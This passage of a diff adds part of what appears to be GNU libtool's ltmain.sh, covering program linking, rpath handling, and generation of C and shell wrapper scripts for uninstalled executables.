+      $opt_dry_run || $RM $obj $libobj
+
+      # Objects from convenience libraries.  This assumes
+      # single-version convenience libraries.  Whenever we create
+      # different ones for PIC/non-PIC, this we'll have to duplicate
+      # the extraction.
+      reload_conv_objs=
+      gentop=
+      # reload_cmds runs $LD directly, so let us get rid of
+      # -Wl from whole_archive_flag_spec
+      wl=
+
+      if test -n "$convenience"; then
+	if test -n "$whole_archive_flag_spec"; then
+	  eval reload_conv_objs=\"\$reload_objs $whole_archive_flag_spec\"
+	else
+	  gentop="$output_objdir/${obj}x"
+	  generated="$generated $gentop"
+
+	  func_extract_archives $gentop $convenience
+	  reload_conv_objs="$reload_objs $func_extract_archives_result"
+	fi
+      fi
+
+      # Create the old-style object.
+      reload_objs="$objs$old_deplibs "`$ECHO "X$libobjs" | $SP2NL | $Xsed -e '/\.'${libext}$'/d' -e '/\.lib$/d' -e "$lo2o" | $NL2SP`" $reload_conv_objs" ### testsuite: skip nested quoting test
+
+      output="$obj"
+      func_execute_cmds "$reload_cmds" 'exit $?'
+
+      # Exit if we aren't doing a library object file.
+      if test -z "$libobj"; then
+	if test -n "$gentop"; then
+	  func_show_eval '${RM}r "$gentop"'
+	fi
+
+	exit $EXIT_SUCCESS
+      fi
+
+      if test "$build_libtool_libs" != yes; then
+	if test -n "$gentop"; then
+	  func_show_eval '${RM}r "$gentop"'
+	fi
+
+	# Create an invalid libtool object if no PIC, so that we don't
+	# accidentally link it into a program.
+	# $show "echo timestamp > $libobj"
+	# $opt_dry_run || eval "echo timestamp > $libobj" || exit $?
+	exit $EXIT_SUCCESS
+      fi
+
+      if test -n "$pic_flag" || test "$pic_mode" != default; then
+	# Only do commands if we really have different PIC objects.
+	reload_objs="$libobjs $reload_conv_objs"
+	output="$libobj"
+	func_execute_cmds "$reload_cmds" 'exit $?'
+      fi
+
+      if test -n "$gentop"; then
+	func_show_eval '${RM}r "$gentop"'
+      fi
+
+      exit $EXIT_SUCCESS
+      ;;
+
+    prog)
+      case $host in
+	*cygwin*) func_stripname '' '.exe' "$output"
+	          output=$func_stripname_result.exe;;
+      esac
+      test -n "$vinfo" && \
+	func_warning "\`-version-info' is ignored for programs"
+
+      test -n "$release" && \
+	func_warning "\`-release' is ignored for programs"
+
+      test "$preload" = yes \
+        && test "$dlopen_support" = unknown \
+	&& test "$dlopen_self" = unknown \
+	&& test "$dlopen_self_static" = unknown && \
+	  func_warning "\`LT_INIT([dlopen])' not used. Assuming no dlopen support."
+
+      case $host in
+      *-*-rhapsody* | *-*-darwin1.[012])
+	# On Rhapsody replace the C library is the System framework
+	compile_deplibs=`$ECHO "X $compile_deplibs" | $Xsed -e 's/ -lc / System.ltframework /'`
+	finalize_deplibs=`$ECHO "X $finalize_deplibs" | $Xsed -e 's/ -lc / System.ltframework /'`
+	;;
+      esac
+
+      case $host in
+      *-*-darwin*)
+	# Don't allow lazy linking, it breaks C++ global constructors
+	# But is supposedly fixed on 10.4 or later (yay!).
+	if test "$tagname" = CXX ; then
+	  case ${MACOSX_DEPLOYMENT_TARGET-10.0} in
+	    10.[0123])
+	      compile_command="$compile_command ${wl}-bind_at_load"
+	      finalize_command="$finalize_command ${wl}-bind_at_load"
+	    ;;
+	  esac
+	fi
+	# Time to change all our "foo.ltframework" stuff back to "-framework foo"
+	compile_deplibs=`$ECHO "X $compile_deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	finalize_deplibs=`$ECHO "X $finalize_deplibs" | $Xsed -e 's% \([^ $]*\).ltframework% -framework \1%g'`
+	;;
+      esac
+
+
+      # move library search paths that coincide with paths to not yet
+      # installed libraries to the beginning of the library search list
+      new_libs=
+      for path in $notinst_path; do
+	case " $new_libs " in
+	*" -L$path/$objdir "*) ;;
+	*)
+	  case " $compile_deplibs " in
+	  *" -L$path/$objdir "*)
+	    new_libs="$new_libs -L$path/$objdir" ;;
+	  esac
+	  ;;
+	esac
+      done
+      for deplib in $compile_deplibs; do
+	case $deplib in
+	-L*)
+	  case " $new_libs " in
+	  *" $deplib "*) ;;
+	  *) new_libs="$new_libs $deplib" ;;
+	  esac
+	  ;;
+	*) new_libs="$new_libs $deplib" ;;
+	esac
+      done
+      compile_deplibs="$new_libs"
+
+
+      compile_command="$compile_command $compile_deplibs"
+      finalize_command="$finalize_command $finalize_deplibs"
+
+      if test -n "$rpath$xrpath"; then
+	# If the user specified any rpath flags, then add them.
+	for libdir in $rpath $xrpath; do
+	  # This is the magic to use -rpath.
+	  case "$finalize_rpath " in
+	  *" $libdir "*) ;;
+	  *) finalize_rpath="$finalize_rpath $libdir" ;;
+	  esac
+	done
+      fi
+
+      # Now hardcode the library paths
+      rpath=
+      hardcode_libdirs=
+      for libdir in $compile_rpath $finalize_rpath; do
+	if test -n "$hardcode_libdir_flag_spec"; then
+	  if test -n "$hardcode_libdir_separator"; then
+	    if test -z "$hardcode_libdirs"; then
+	      hardcode_libdirs="$libdir"
+	    else
+	      # Just accumulate the unique libdirs.
+	      case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
+	      *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+		;;
+	      *)
+		hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
+		;;
+	      esac
+	    fi
+	  else
+	    eval flag=\"$hardcode_libdir_flag_spec\"
+	    rpath="$rpath $flag"
+	  fi
+	elif test -n "$runpath_var"; then
+	  case "$perm_rpath " in
+	  *" $libdir "*) ;;
+	  *) perm_rpath="$perm_rpath $libdir" ;;
+	  esac
+	fi
+	case $host in
+	*-*-cygwin* | *-*-mingw* | *-*-pw32* | *-*-os2*)
+	  testbindir=`${ECHO} "$libdir" | ${SED} -e 's*/lib$*/bin*'`
+	  case :$dllsearchpath: in
+	  *":$libdir:"*) ;;
+	  *) dllsearchpath="$dllsearchpath:$libdir";;
+	  esac
+	  case :$dllsearchpath: in
+	  *":$testbindir:"*) ;;
+	  *) dllsearchpath="$dllsearchpath:$testbindir";;
+	  esac
+	  ;;
+	esac
+      done
+      # Substitute the hardcoded libdirs into the rpath.
+      if test -n "$hardcode_libdir_separator" &&
+	 test -n "$hardcode_libdirs"; then
+	libdir="$hardcode_libdirs"
+	eval rpath=\" $hardcode_libdir_flag_spec\"
+      fi
+      compile_rpath="$rpath"
+
+      rpath=
+      hardcode_libdirs=
+      for libdir in $finalize_rpath; do
+	if test -n "$hardcode_libdir_flag_spec"; then
+	  if test -n "$hardcode_libdir_separator"; then
+	    if test -z "$hardcode_libdirs"; then
+	      hardcode_libdirs="$libdir"
+	    else
+	      # Just accumulate the unique libdirs.
+	      case $hardcode_libdir_separator$hardcode_libdirs$hardcode_libdir_separator in
+	      *"$hardcode_libdir_separator$libdir$hardcode_libdir_separator"*)
+		;;
+	      *)
+		hardcode_libdirs="$hardcode_libdirs$hardcode_libdir_separator$libdir"
+		;;
+	      esac
+	    fi
+	  else
+	    eval flag=\"$hardcode_libdir_flag_spec\"
+	    rpath="$rpath $flag"
+	  fi
+	elif test -n "$runpath_var"; then
+	  case "$finalize_perm_rpath " in
+	  *" $libdir "*) ;;
+	  *) finalize_perm_rpath="$finalize_perm_rpath $libdir" ;;
+	  esac
+	fi
+      done
+      # Substitute the hardcoded libdirs into the rpath.
+      if test -n "$hardcode_libdir_separator" &&
+	 test -n "$hardcode_libdirs"; then
+	libdir="$hardcode_libdirs"
+	eval rpath=\" $hardcode_libdir_flag_spec\"
+      fi
+      finalize_rpath="$rpath"
+
+      if test -n "$libobjs" && test "$build_old_libs" = yes; then
+	# Transform all the library objects into standard objects.
+	compile_command=`$ECHO "X$compile_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
+	finalize_command=`$ECHO "X$finalize_command" | $SP2NL | $Xsed -e "$lo2o" | $NL2SP`
+      fi
+
+      func_generate_dlsyms "$outputname" "@PROGRAM@" "no"
+
+      # template prelinking step
+      if test -n "$prelink_cmds"; then
+	func_execute_cmds "$prelink_cmds" 'exit $?'
+      fi
+
+      wrappers_required=yes
+      case $host in
+      *cygwin* | *mingw* )
+        if test "$build_libtool_libs" != yes; then
+          wrappers_required=no
+        fi
+        ;;
+      *)
+        if test "$need_relink" = no || test "$build_libtool_libs" != yes; then
+          wrappers_required=no
+        fi
+        ;;
+      esac
+      if test "$wrappers_required" = no; then
+	# Replace the output file specification.
+	compile_command=`$ECHO "X$compile_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
+	link_command="$compile_command$compile_rpath"
+
+	# We have no uninstalled library dependencies, so finalize right now.
+	exit_status=0
+	func_show_eval "$link_command" 'exit_status=$?'
+
+	# Delete the generated files.
+	if test -f "$output_objdir/${outputname}S.${objext}"; then
+	  func_show_eval '$RM "$output_objdir/${outputname}S.${objext}"'
+	fi
+
+	exit $exit_status
+      fi
+
+      if test -n "$compile_shlibpath$finalize_shlibpath"; then
+	compile_command="$shlibpath_var=\"$compile_shlibpath$finalize_shlibpath\$$shlibpath_var\" $compile_command"
+      fi
+      if test -n "$finalize_shlibpath"; then
+	finalize_command="$shlibpath_var=\"$finalize_shlibpath\$$shlibpath_var\" $finalize_command"
+      fi
+
+      compile_var=
+      finalize_var=
+      if test -n "$runpath_var"; then
+	if test -n "$perm_rpath"; then
+	  # We should set the runpath_var.
+	  rpath=
+	  for dir in $perm_rpath; do
+	    rpath="$rpath$dir:"
+	  done
+	  compile_var="$runpath_var=\"$rpath\$$runpath_var\" "
+	fi
+	if test -n "$finalize_perm_rpath"; then
+	  # We should set the runpath_var.
+	  rpath=
+	  for dir in $finalize_perm_rpath; do
+	    rpath="$rpath$dir:"
+	  done
+	  finalize_var="$runpath_var=\"$rpath\$$runpath_var\" "
+	fi
+      fi
+
+      if test "$no_install" = yes; then
+	# We don't need to create a wrapper script.
+	link_command="$compile_var$compile_command$compile_rpath"
+	# Replace the output file specification.
+	link_command=`$ECHO "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output"'%g'`
+	# Delete the old output file.
+	$opt_dry_run || $RM $output
+	# Link the executable and exit
+	func_show_eval "$link_command" 'exit $?'
+	exit $EXIT_SUCCESS
+      fi
+
+      if test "$hardcode_action" = relink; then
+	# Fast installation is not supported
+	link_command="$compile_var$compile_command$compile_rpath"
+	relink_command="$finalize_var$finalize_command$finalize_rpath"
+
+	func_warning "this platform does not like uninstalled shared libraries"
+	func_warning "\`$output' will be relinked during installation"
+      else
+	if test "$fast_install" != no; then
+	  link_command="$finalize_var$compile_command$finalize_rpath"
+	  if test "$fast_install" = yes; then
+	    relink_command=`$ECHO "X$compile_var$compile_command$compile_rpath" | $Xsed -e 's%@OUTPUT@%\$progdir/\$file%g'`
+	  else
+	    # fast_install is set to needless
+	    relink_command=
+	  fi
+	else
+	  link_command="$compile_var$compile_command$compile_rpath"
+	  relink_command="$finalize_var$finalize_command$finalize_rpath"
+	fi
+      fi
+
+      # Replace the output file specification.
+      link_command=`$ECHO "X$link_command" | $Xsed -e 's%@OUTPUT@%'"$output_objdir/$outputname"'%g'`
+
+      # Delete the old output files.
+      $opt_dry_run || $RM $output $output_objdir/$outputname $output_objdir/lt-$outputname
+
+      func_show_eval "$link_command" 'exit $?'
+
+      # Now create the wrapper script.
+      func_echo "creating $output"
+
+      # Quote the relink command for shipping.
+      if test -n "$relink_command"; then
+	# Preserve any variables that may affect compiler behavior
+	for var in $variables_saved_for_relink; do
+	  if eval test -z \"\${$var+set}\"; then
+	    relink_command="{ test -z \"\${$var+set}\" || unset $var || { $var=; export $var; }; }; $relink_command"
+	  elif eval var_value=\$$var; test -z "$var_value"; then
+	    relink_command="$var=; export $var; $relink_command"
+	  else
+	    func_quote_for_eval "$var_value"
+	    relink_command="$var=$func_quote_for_eval_result; export $var; $relink_command"
+	  fi
+	done
+	relink_command="(cd `pwd`; $relink_command)"
+	relink_command=`$ECHO "X$relink_command" | $Xsed -e "$sed_quote_subst"`
+      fi
+
+      # Quote $ECHO for shipping.
+      if test "X$ECHO" = "X$SHELL $progpath --fallback-echo"; then
+	case $progpath in
+	[\\/]* | [A-Za-z]:[\\/]*) qecho="$SHELL $progpath --fallback-echo";;
+	*) qecho="$SHELL `pwd`/$progpath --fallback-echo";;
+	esac
+	qecho=`$ECHO "X$qecho" | $Xsed -e "$sed_quote_subst"`
+      else
+	qecho=`$ECHO "X$ECHO" | $Xsed -e "$sed_quote_subst"`
+      fi
+
+      # Only actually do things if not in dry run mode.
+      $opt_dry_run || {
+	# win32 will think the script is a binary if it has
+	# a .exe suffix, so we strip it off here.
+	case $output in
+	  *.exe) func_stripname '' '.exe' "$output"
+	         output=$func_stripname_result ;;
+	esac
+	# test for cygwin because mv fails w/o .exe extensions
+	case $host in
+	  *cygwin*)
+	    exeext=.exe
+	    func_stripname '' '.exe' "$outputname"
+	    outputname=$func_stripname_result ;;
+	  *) exeext= ;;
+	esac
+	case $host in
+	  *cygwin* | *mingw* )
+	    output_name=`basename $output`
+	    output_path=`dirname $output`
+	    cwrappersource="$output_path/$objdir/lt-$output_name.c"
+	    cwrapper="$output_path/$output_name.exe"
+	    $RM $cwrappersource $cwrapper
+	    trap "$RM $cwrappersource $cwrapper; exit $EXIT_FAILURE" 1 2 15
+
+	    cat > $cwrappersource <<EOF
+
+/* $cwrappersource - temporary wrapper executable for $objdir/$outputname
+   Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION
+
+   The $output program cannot be directly executed until all the libtool
+   libraries that it depends on are installed.
+
+   This wrapper executable should never be moved out of the build directory.
+   If it is, it will not operate correctly.
+
+   Currently, it simply execs the wrapper *script* "/bin/sh $output",
+   but could eventually absorb all of the scripts functionality and
+   exec $objdir/$outputname directly.
+*/
+EOF
+	    cat >> $cwrappersource<<"EOF"
+#include <stdio.h>
+#include <stdlib.h>
+#include <unistd.h>
+#include <malloc.h>
+#include <stdarg.h>
+#include <assert.h>
+#include <string.h>
+#include <ctype.h>
+#include <sys/stat.h>
+
+#if defined(PATH_MAX)
+# define LT_PATHMAX PATH_MAX
+#elif defined(MAXPATHLEN)
+# define LT_PATHMAX MAXPATHLEN
+#else
+# define LT_PATHMAX 1024
+#endif
+
+#ifndef DIR_SEPARATOR
+# define DIR_SEPARATOR '/'
+# define PATH_SEPARATOR ':'
+#endif
+
+#if defined (_WIN32) || defined (__MSDOS__) || defined (__DJGPP__) || \
+  defined (__OS2__)
+# define HAVE_DOS_BASED_FILE_SYSTEM
+# ifndef DIR_SEPARATOR_2
+#  define DIR_SEPARATOR_2 '\\'
+# endif
+# ifndef PATH_SEPARATOR_2
+#  define PATH_SEPARATOR_2 ';'
+# endif
+#endif
+
+#ifndef DIR_SEPARATOR_2
+# define IS_DIR_SEPARATOR(ch) ((ch) == DIR_SEPARATOR)
+#else /* DIR_SEPARATOR_2 */
+# define IS_DIR_SEPARATOR(ch) \
+	(((ch) == DIR_SEPARATOR) || ((ch) == DIR_SEPARATOR_2))
+#endif /* DIR_SEPARATOR_2 */
+
+#ifndef PATH_SEPARATOR_2
+# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR)
+#else /* PATH_SEPARATOR_2 */
+# define IS_PATH_SEPARATOR(ch) ((ch) == PATH_SEPARATOR_2)
+#endif /* PATH_SEPARATOR_2 */
+
+#define XMALLOC(type, num)      ((type *) xmalloc ((num) * sizeof(type)))
+#define XFREE(stale) do { \
+  if (stale) { free ((void *) stale); stale = 0; } \
+} while (0)
+
+/* -DDEBUG is fairly common in CFLAGS.  */
+#undef DEBUG
+#if defined DEBUGWRAPPER
+# define DEBUG(format, ...) fprintf(stderr, format, __VA_ARGS__)
+#else
+# define DEBUG(format, ...)
+#endif
+
+const char *program_name = NULL;
+
+void * xmalloc (size_t num);
+char * xstrdup (const char *string);
+const char * base_name (const char *name);
+char * find_executable(const char *wrapper);
+int    check_executable(const char *path);
+char * strendzap(char *str, const char *pat);
+void lt_fatal (const char *message, ...);
+
+int
+main (int argc, char *argv[])
+{
+  char **newargz;
+  int i;
+
+  program_name = (char *) xstrdup (base_name (argv[0]));
+  DEBUG("(main) argv[0]      : %s\n",argv[0]);
+  DEBUG("(main) program_name : %s\n",program_name);
+  newargz = XMALLOC(char *, argc+2);
+EOF
+
+	    cat >> $cwrappersource <<EOF
+  newargz[0] = (char *) xstrdup("$SHELL");
+EOF
+
+	    cat >> $cwrappersource <<"EOF"
+  newargz[1] = find_executable(argv[0]);
+  if (newargz[1] == NULL)
+    lt_fatal("Couldn't find %s", argv[0]);
+  DEBUG("(main) found exe at : %s\n",newargz[1]);
+  /* we know the script has the same name, without the .exe */
+  /* so make sure newargz[1] doesn't end in .exe */
+  strendzap(newargz[1],".exe");
+  for (i = 1; i < argc; i++)
+    newargz[i+1] = xstrdup(argv[i]);
+  newargz[argc+1] = NULL;
+
+  for (i=0; i<argc+1; i++)
+  {
+    DEBUG("(main) newargz[%d]   : %s\n",i,newargz[i]);
+    ;
+  }
+
+EOF
+
+	    case $host_os in
+	      mingw*)
+		cat >> $cwrappersource <<EOF
+  execv("$SHELL",(char const **)newargz);
+EOF
+	      ;;
+	      *)
+		cat >> $cwrappersource <<EOF
+  execv("$SHELL",newargz);
+EOF
+	      ;;
+	    esac
+
+	    cat >> $cwrappersource <<"EOF"
+  return 127;
+}
+
+void *
+xmalloc (size_t num)
+{
+  void * p = (void *) malloc (num);
+  if (!p)
+    lt_fatal ("Memory exhausted");
+
+  return p;
+}
+
+char *
+xstrdup (const char *string)
+{
+  return string ? strcpy ((char *) xmalloc (strlen (string) + 1), string) : NULL
+;
+}
+
+const char *
+base_name (const char *name)
+{
+  const char *base;
+
+#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
+  /* Skip over the disk name in MSDOS pathnames. */
+  if (isalpha ((unsigned char)name[0]) && name[1] == ':')
+    name += 2;
+#endif
+
+  for (base = name; *name; name++)
+    if (IS_DIR_SEPARATOR (*name))
+      base = name + 1;
+  return base;
+}
+
+int
+check_executable(const char * path)
+{
+  struct stat st;
+
+  DEBUG("(check_executable)  : %s\n", path ? (*path ? path : "EMPTY!") : "NULL!");
+  if ((!path) || (!*path))
+    return 0;
+
+  if ((stat (path, &st) >= 0) &&
+      (
+	/* MinGW & native WIN32 do not support S_IXOTH or S_IXGRP */
+#if defined (S_IXOTH)
+       ((st.st_mode & S_IXOTH) == S_IXOTH) ||
+#endif
+#if defined (S_IXGRP)
+       ((st.st_mode & S_IXGRP) == S_IXGRP) ||
+#endif
+       ((st.st_mode & S_IXUSR) == S_IXUSR))
+      )
+    return 1;
+  else
+    return 0;
+}
+
+/* Searches for the full path of the wrapper.  Returns
+   newly allocated full path name if found, NULL otherwise */
+char *
+find_executable (const char* wrapper)
+{
+  int has_slash = 0;
+  const char* p;
+  const char* p_next;
+  /* static buffer for getcwd */
+  char tmp[LT_PATHMAX + 1];
+  int tmp_len;
+  char* concat_name;
+
+  DEBUG("(find_executable)  : %s\n", wrapper ? (*wrapper ? wrapper : "EMPTY!") : "NULL!");
+
+  if ((wrapper == NULL) || (*wrapper == '\0'))
+    return NULL;
+
+  /* Absolute path? */
+#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
+  if (isalpha ((unsigned char)wrapper[0]) && wrapper[1] == ':')
+  {
+    concat_name = xstrdup (wrapper);
+    if (check_executable(concat_name))
+      return concat_name;
+    XFREE(concat_name);
+  }
+  else
+  {
+#endif
+    if (IS_DIR_SEPARATOR (wrapper[0]))
+    {
+      concat_name = xstrdup (wrapper);
+      if (check_executable(concat_name))
+	return concat_name;
+      XFREE(concat_name);
+    }
+#if defined (HAVE_DOS_BASED_FILE_SYSTEM)
+  }
+#endif
+
+  for (p = wrapper; *p; p++)
+    if (*p == '/')
+    {
+      has_slash = 1;
+      break;
+    }
+  if (!has_slash)
+  {
+    /* no slashes; search PATH */
+    const char* path = getenv ("PATH");
+    if (path != NULL)
+    {
+      for (p = path; *p; p = p_next)
+      {
+	const char* q;
+	size_t p_len;
+	for (q = p; *q; q++)
+	  if (IS_PATH_SEPARATOR(*q))
+	    break;
+	p_len = q - p;
+	p_next = (*q == '\0' ? q : q + 1);
+	if (p_len == 0)
+	{
+	  /* empty path: current directory */
+	  if (getcwd (tmp, LT_PATHMAX) == NULL)
+	    lt_fatal ("getcwd failed");
+	  tmp_len = strlen(tmp);
+	  concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
+	  memcpy (concat_name, tmp, tmp_len);
+	  concat_name[tmp_len] = '/';
+	  strcpy (concat_name + tmp_len + 1, wrapper);
+	}
+	else
+	{
+	  concat_name = XMALLOC(char, p_len + 1 + strlen(wrapper) + 1);
+	  memcpy (concat_name, p, p_len);
+	  concat_name[p_len] = '/';
+	  strcpy (concat_name + p_len + 1, wrapper);
+	}
+	if (check_executable(concat_name))
+	  return concat_name;
+	XFREE(concat_name);
+      }
+    }
+    /* not found in PATH; assume curdir */
+  }
+  /* Relative path | not found in path: prepend cwd */
+  if (getcwd (tmp, LT_PATHMAX) == NULL)
+    lt_fatal ("getcwd failed");
+  tmp_len = strlen(tmp);
+  concat_name = XMALLOC(char, tmp_len + 1 + strlen(wrapper) + 1);
+  memcpy (concat_name, tmp, tmp_len);
+  concat_name[tmp_len] = '/';
+  strcpy (concat_name + tmp_len + 1, wrapper);
+
+  if (check_executable(concat_name))
+    return concat_name;
+  XFREE(concat_name);
+  return NULL;
+}
+
+char *
+strendzap(char *str, const char *pat)
+{
+  size_t len, patlen;
+
+  assert(str != NULL);
+  assert(pat != NULL);
+
+  len = strlen(str);
+  patlen = strlen(pat);
+
+  if (patlen <= len)
+  {
+    str += len - patlen;
+    if (strcmp(str, pat) == 0)
+      *str = '\0';
+  }
+  return str;
+}
+
+static void
+lt_error_core (int exit_status, const char * mode,
+	  const char * message, va_list ap)
+{
+  fprintf (stderr, "%s: %s: ", program_name, mode);
+  vfprintf (stderr, message, ap);
+  fprintf (stderr, ".\n");
+
+  if (exit_status >= 0)
+    exit (exit_status);
+}
+
+void
+lt_fatal (const char *message, ...)
+{
+  va_list ap;
+  va_start (ap, message);
+  lt_error_core (EXIT_FAILURE, "FATAL", message, ap);
+  va_end (ap);
+}
+EOF
+	  # we should really use a build-platform specific compiler
+	  # here, but OTOH, the wrappers (shell script and this C one)
+	  # are only useful if you want to execute the "real" binary.
+	  # Since the "real" binary is built for $host, then this
+	  # wrapper might as well be built for $host, too.
+	  $opt_dry_run || $LTCC $LTCFLAGS -s -o $cwrapper $cwrappersource
+	  ;;
+	esac
+	$RM $output
+	trap "$RM $output; exit $EXIT_FAILURE" 1 2 15
+
+	$ECHO > $output "\
+#! $SHELL
+
+# $output - temporary wrapper script for $objdir/$outputname
+# Generated by $PROGRAM (GNU $PACKAGE$TIMESTAMP) $VERSION
+#
+# The $output program cannot be directly executed until all the libtool
+# libraries that it depends on are installed.
+#
+# This wrapper script should never be moved out of the build directory.
+# If it is, it will not operate correctly.
+
+# Sed substitution that helps us do robust quoting.  It backslashifies
+# metacharacters that are still active within double-quoted strings.
+Xsed='${SED} -e 1s/^X//'
+sed_quote_subst='$sed_quote_subst'
+
+# The HP-UX ksh and POSIX shell print the target directory to stdout
+# if CDPATH is set.
+(unset CDPATH) >/dev/null 2>&1 && unset CDPATH
+
+relink_command=\"$relink_command\"
+
+# This environment variable determines our operation mode.
+if test \"\$libtool_install_magic\" = \"$magic\"; then
+  # install mode needs the following variables:
+  generated_by_libtool_version='$macro_version'
+  notinst_deplibs='$notinst_deplibs'
+else
+  # When we are sourced in execute mode, \$file and \$ECHO are already set.
+  if test \"\$libtool_execute_magic\" != \"$magic\"; then
+    ECHO=\"$qecho\"
+    file=\"\$0\"
+    # Make sure echo works.
+    if test \"X\$1\" = X--no-reexec; then
+      # Discard the --no-reexec flag, and continue.
+      shift
+    elif test \"X\`{ \$ECHO '\t'; } 2>/dev/null\`\" = 'X\t'; then
+      # Yippee, \$ECHO works!
+      :
+    else
+      # Restart under the correct shell, and then maybe \$ECHO will work.
+      exec $SHELL \"\$0\" --no-reexec \${1+\"\$@\"}
+    fi
+  fi\
+"
+	$ECHO >> $output "\
+
+  # Find the directory that this script lives in.
+  thisdir=\`\$ECHO \"X\$file\" | \$Xsed -e 's%/[^/]*$%%'\`
+  test \"x\$thisdir\" = \"x\$file\" && thisdir=.
+
+  # Follow symbolic links until we get to the real thisdir.
+  file=\`ls -ld \"\$file\" | ${SED} -n 's/.*-> //p'\`
+  while test -n \"\$file\"; do
+    destdir=\`\$ECHO \"X\$file\" | \$Xsed -e 's%/[^/]*\$%%'\`
+
+    # If there was a directory component, then change thisdir.
+    if test \"x\$destdir\" != \"x\$file\"; then
+      case \"\$destdir\" in
+      [\\\\/]* | [A-Za-z]:[\\\\/]*) thisdir=\"\$destdir\" ;;
+      *) thisdir=\"\$thisdir/\$destdir\" ;;
+      esac
+    fi
+
+    file=\`\$ECHO \"X\$file\" | \$Xsed -e 's%^.*/%%'\`
+    file=\`ls -ld \"\$thisdir/\$file\" | ${SED} -n 's/.*-> //p'\`
+  done
+
+  # Try to get the absolute directory name.
+  absdir=\`cd \"\$thisdir\" && pwd\`
+  test -n \"\$absdir\" && thisdir=\"\$absdir\"
+"
+
+	if test "$fast_install" = yes; then
+	  $ECHO >> $output "\
+  program=lt-'$outputname'$exeext
+  progdir=\"\$thisdir/$objdir\"
+
+  if test ! -f \"\$progdir/\$program\" ||
+     { file=\`ls -1dt \"\$progdir/\$program\" \"\$progdir/../\$program\" 2>/dev/null | ${SED} 1q\`; \\
+       test \"X\$file\" != \"X\$progdir/\$program\"; }; then
+
+    file=\"\$\$-\$program\"
+
+    if test ! -d \"\$progdir\"; then
+      $MKDIR \"\$progdir\"
+    else
+      $RM \"\$progdir/\$file\"
+    fi"
+
+	  $ECHO >> $output "\
+
+    # relink executable if necessary
+    if test -n \"\$relink_command\"; then
+      if relink_command_output=\`eval \$relink_command 2>&1\`; then :
+      else
+	$ECHO \"\$relink_command_output\" >&2
+	$RM \"\$progdir/\$file\"
+	exit 1
+      fi
+    fi
+
+    $MV \"\$progdir/\$file\" \"\$progdir/\$program\" 2>/dev/null ||
+    { $RM \"\$progdir/\$program\";
+      $MV \"\$progdir/\$file\" \"\$progdir/\$program\"; }
+    $RM \"\$progdir/\$file\"
+  fi"
+	else
+	  $ECHO >> $output "\
+  program='$outputname'
+  progdir=\"\$thisdir/$objdir\"
+"
+	fi
+
+	$ECHO >> $output "\
+
+  if test -f \"\$progdir/\$program\"; then"
+
+	# Export our shlibpath_var if we have one.
+	if test "$shlibpath_overrides_runpath" = yes && test -n "$shlibpath_var" && test -n "$temp_rpath"; then
+	  $ECHO >> $output "\
+    # Add our own library path to $shlibpath_var
+    $shlibpath_var=\"$temp_rpath\$$shlibpath_var\"
+
+    # Some systems cannot cope with colon-terminated $shlibpath_var
+    # The second colon is a workaround for a bug in BeOS R4 sed
+    $shlibpath_var=\`\$ECHO \"X\$$shlibpath_var\" | \$Xsed -e 's/::*\$//'\`
+
+    export $shlibpath_var
+"
+	fi
+
+	# fixup the dll searchpath if we need to.
+	if test -n "$dllsearchpath"; then
+	  $ECHO >> $output "\
+    # Add the dll search path components to the executable PATH
+    PATH=$dllsearchpath:\$PATH
+"
+	fi
+
+	$ECHO >> $output "\
+    if test \"\$libtool_execute_magic\" != \"$magic\"; then
+      # Run the actual program with our arguments.
+"
+	case $host in
+	# Backslashes separate directories on plain windows
+	*-*-mingw | *-*-os2*)
+	  $ECHO >> $output "\
+      exec \"\$progdir\\\\\$program\" \${1+\"\$@\"}
+"
+	  ;;
+
+	*)
+	  $ECHO >> $output "\
+      exec \"\$progdir/\$program\" \${1+\"\$@\"}
+"
+	  ;;
+	esac
+	$ECHO >> $output "\
+      \$ECHO \"\$0: cannot exec \$program \${1+\"\$@\"}\"
+      exit 1
+    fi
+  else
+    # The program doesn't exist.
+    \$ECHO \"\$0: error: \\\`\$progdir/\$program' does not exist\" 1>&2
+    \$ECHO \"This script is just a wrapper for \$program.\" 1>&2
+    $ECHO \"See the $PACKAGE documentation for more information.\" 1>&2
+    exit 1
+  fi
+fi\
+"
+	chmod +x $output
+      }
+      exit $EXIT_SUCCESS
+      ;;
+    esac
+
+    # See if we need to build an old-fashioned archive.
+    for oldlib in $oldlibs; do
+
+      if test "$build_libtool_libs" = convenience; then
+	oldobjs="$libobjs_save $symfileobj"
+	addlibs="$convenience"
+	build_libtool_libs=no
+      else
+	if test "$build_libtool_libs" = module; then
+	  oldobjs="$libobjs_save"
+	  build_libtool_libs=no
+	else
+	  oldobjs="$old_deplibs $non_pic_objects"
+	  if test "$preload" = yes && test -f "$symfileobj"; then
+	    oldobjs="$oldobjs $symfileobj"
+	  fi
+	fi
+	addlibs="$old_convenience"
+      fi
+
+      if test -n "$addlibs"; then
+	gentop="$output_objdir/${outputname}x"
+	generated="$generated $gentop"
+
+	func_extract_archives $gentop $addlibs
+	oldobjs="$oldobjs $func_extract_archives_result"
+      fi
+
+      # Do each command in the archive commands.
+      if test -n "$old_archive_from_new_cmds" && test "$build_libtool_libs" = yes; then
+	cmds=$old_archive_from_new_cmds
+      else
+
+	# Add any objects from preloaded convenience libraries
+	if test -n "$dlprefiles"; then
+	  gentop="$output_objdir/${outputname}x"
+	  generated="$generated $gentop"
+
+	  func_extract_archives $gentop $dlprefiles
+	  oldobjs="$oldobjs $func_extract_archives_result"
+	fi
+
+	# POSIX demands no paths to be encoded in archives.  We have
+	# to avoid creating archives with duplicate basenames if we
+	# might have to extract them afterwards, e.g., when creating a
+	# static archive out of a convenience library, or when linking
+	# the entirety of a libtool archive into another (currently
+	# not supported by libtool).
+	if (for obj in $oldobjs
+	    do
+	      func_basename "$obj"
+	      $ECHO "$func_basename_result"
+	    done | sort | sort -uc >/dev/null 2>&1); then
+	  :
+	else
